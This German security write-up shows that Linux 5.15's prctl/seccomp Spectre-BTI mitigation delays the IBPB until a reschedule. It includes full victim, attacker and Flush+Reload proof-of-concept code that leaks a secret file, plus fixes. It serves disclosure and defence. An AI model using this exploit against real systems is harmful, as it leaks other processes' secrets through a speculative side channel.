
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Beim Testen der Erfolgsrate von Spectre-BTI-Angriffen haben wir ein seltsames Muster bei der Verwendung der Kernel-API als Mitigation1 festgestellt. Unsere Tests zeigten, dass der Linux-Kernel den Angriff nicht korrekt mitigiert und den Prozess für einen kurzen Zeitraum nach dem Syscall ungeschützt lässt.
Weitere Untersuchungen ergaben, dass der Kernel während des Syscalls kein IBPB unmittelbar auslöst. Die Funktion ib_prctl_set2 aktualisiert die Thread Information Flags (TIFs) für den Task und aktualisiert das SPEC_CTRL-MSR in der Funktion __speculation_ctrl_update 3, aber das IBPB wird erst beim nächsten Scheduler-Durchlauf ausgelöst, wenn die TIF-Bits geprüft werden. Dadurch bleibt das Opfer anfällig für Werte, die bereits vor dem prctl-Syscall in den BTB injiziert wurden. Dieses Verhalten wird erst nach einer Neuplanung des Tasks korrigiert. Darüber hinaus wird beim Kernel-Eintritt (aufgrund des Syscalls selbst) in den Standard-Szenarien (d.h. wenn der Kernel sich selbst per Retpoline oder eIBRS schützt) kein IBPB ausgelöst.
Das Ausführen eines prctl zur Mitigation von Spectre-BTI-Angriffen mit:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
führt in Kernel 5.15 zur Funktion ib_prctl_set2. Wenn die Option SPEC_DISABLE verwendet wird, wird das TIF-Bit für task_set_spec_ib_disable gesetzt und task_update_spec_tif aufgerufen:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable ruft set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); auf, und wenn der Ziel-Task der aktuelle ist, ruft es speculation_ctrl_update_current(); auf:
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
Die speculation_ctrl_update_current-Funktion führt nach dem speculation_ctrl_update-Wrapper __speculation_ctrl_update mit tifp = ~tifp aus. Hier wird das wrmsr zum Setzen von STIBP ausgeführt, aber kein IBPB ausgelöst:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
Der seccomp-Syscall verwendet ebenfalls ib_prctl_set2 als Mitigation, innerhalb von arch_seccomp_spec_mitigate4, sodass dasselbe Ergebnis bei seccomp zu erwarten ist.
Obwohl wir durch die Code-Analyse sicher sind, dass das Fenster für eine Ausnutzung existiert, war unklar, ob es groß genug ist, damit das Opfer Geheimnisse lädt und der Angreifer sie abgreift (da erwartet wird, dass Geheimnisse nicht im Adressraum des Opfers sind, bis der prctl-Aufruf ausgeführt wird). Die Tests wurden auf einer Bare-Metal-Maschine mit Unterstützung für Hardware-Mitigationen und einer installierten Ubuntu 22.04.1 LTS ausgeführt:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
Der Testcode besteht aus zwei Prozessen, die auf demselben logischen Kern ausgeführt werden. Der Angreifer vergiftet ständig den BTB mit der Adresse einer Spectre-Gadget, die in einem Opferprozess vorhanden ist. Der Opferprozess misst die Fehlvorhersagerate, indem er prüft, ob eine Testvariable von der Spectre-Gadget-Funktion aufgerufen wurde. Dies liefert normalerweise die folgende Ausgabe:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Dann wird PRCTL verwendet, um den Angriff zu mitigieren. Die Mitigation kann aktiviert werden, indem prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); am Anfang des Programms hinzugefügt wird. Es wird erwartet, dass dies den Spectre-BTI-Angriff mitigiert:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Einige der Tests zeigten jedoch ein anderes Ergebnis:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
Und die Änderung der Priorität ('nice') scheint die Fehlvorhersagerate zu beeinflussen:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
Dies zeigt, dass der prctl den Prozess erst nach dem nächsten Scheduler-Durchlauf schützte, wie durch die Code-Analyse verstanden. Ein weiteres seltsames Verhalten dieses Tests ist, dass nach einem falschen Sprung der Spekulationspfad korrigiert werden sollte und der wahre Wert in den BTB geschrieben werden muss. Da es keine anderen Angreifer auf dem Geschwister-Thread gibt, die den BTB erneut vergiften, sind so hohe Fehlvorhersagewerte unerwartet.
Um sicherzustellen, dass dies kein Messfehler war, haben wir einen einfachen POC erstellt. Der Opfercode führt immer eine safe_function über einen Funktionszeiger aus, der anfällig für einen Spectre-BTI-Angriff ist. Das Opfer fordert den Kernel über den prctl-Syscall (innerhalb von protect_me) zum Schutz auf. Das Opfer lädt außerdem ein Geheimnis aus einer Textdatei, was zeigt, dass andere Syscalls weder das TIF-Bit prüfen noch eine Neuplanung auslösen, die ein IBPB erzwingen würde.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
Die meisten libc-Funktionen wurden in einen gemeinsamen Header zwischen Angreifer und Opfer gelegt, sodass die spectre_gadget- und spec-Funktion auf beiden Seiten (Opfer und Angreifer) dieselben Speicheradressen haben (andernfalls wird ein .GOT-Eintrag erstellt und die Adressen ändern sich). Dies ist keine Voraussetzung, und es gibt andere Möglichkeiten, die Sprünge auf denselben Adressen zu platzieren und den Opferkontext nachzuahmen, aber diese Methode ist einfacher.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
Der Angriff besteht darin, den BTB zu vergiften, indem die spec-Funktion aufgerufen wird und sie dazu gebracht wird, zu spectre_gadget statt zu safe_function zu springen. Nach dem Training wird der Opferprozess erstellt, der spec ausführt, das zu spectre_gadget falsch vorhersagt, das niemals ausgeführt werden sollte. Das Geheimnis wird über einen klassischen Flush+Reload-Seitenkanal geleakt.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
Da das Opfer ein Argument erhält, das verwendet werden kann, um das über den Seitenkanal zu leaktende Bit auszuwählen, können wir den Opferprozess mehrmals ausführen, während der Angreifer läuft:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
Dies hinterlässt die folgende Textdatei:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
Beachtet, dass Bit 0 und 6 1 sind, daher muss das erste Zeichen 0x41(A) sein.
Das Parsen der Datei mit einem einfachen Python-Skript zeigt:
The secret leaked is: b'Asuper_secret_flag'
Dies ist der exakte Inhalt von secret.txt, der vom Opfer verwendet wird.
Das Ändern des prctl-Aufrufs auf seccomp mit syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); nach dem Laden des Geheimnisses verhindert den Angriff nicht. Dies ist erwartbar, da intern beide dieselbe ib_prctl_set-Funktion zur Implementierung der Mitigation verwenden.
Die aktuelle Implementierung des prctl-Syscalls zur Spekulationskontrolle schützt den Benutzer nicht vor Angreifern, die vor der Mitigation ausgeführt werden. Auch die seccomp-Mitigation versagt in diesem Szenario.
Für User-Mode-Anwendungen reicht ein usleep nach dem prctl-Aufruf aus, um eine Neuplanung zu erzwingen und die korrekte Mitigation sicherzustellen. Ein möglicher Kernel-Patch für diesen Angriff besteht darin, das IBPB gleichzeitig mit dem Setzen von STIBP in __speculation_ctrl_update 3 auszulösen oder schedule() aufzurufen.
„The Linux kernel user-space API guide: Speculation Control“. Link: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
„Linux Source code“ Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
„Linux Source code“ Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
„Linux Source code“ Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩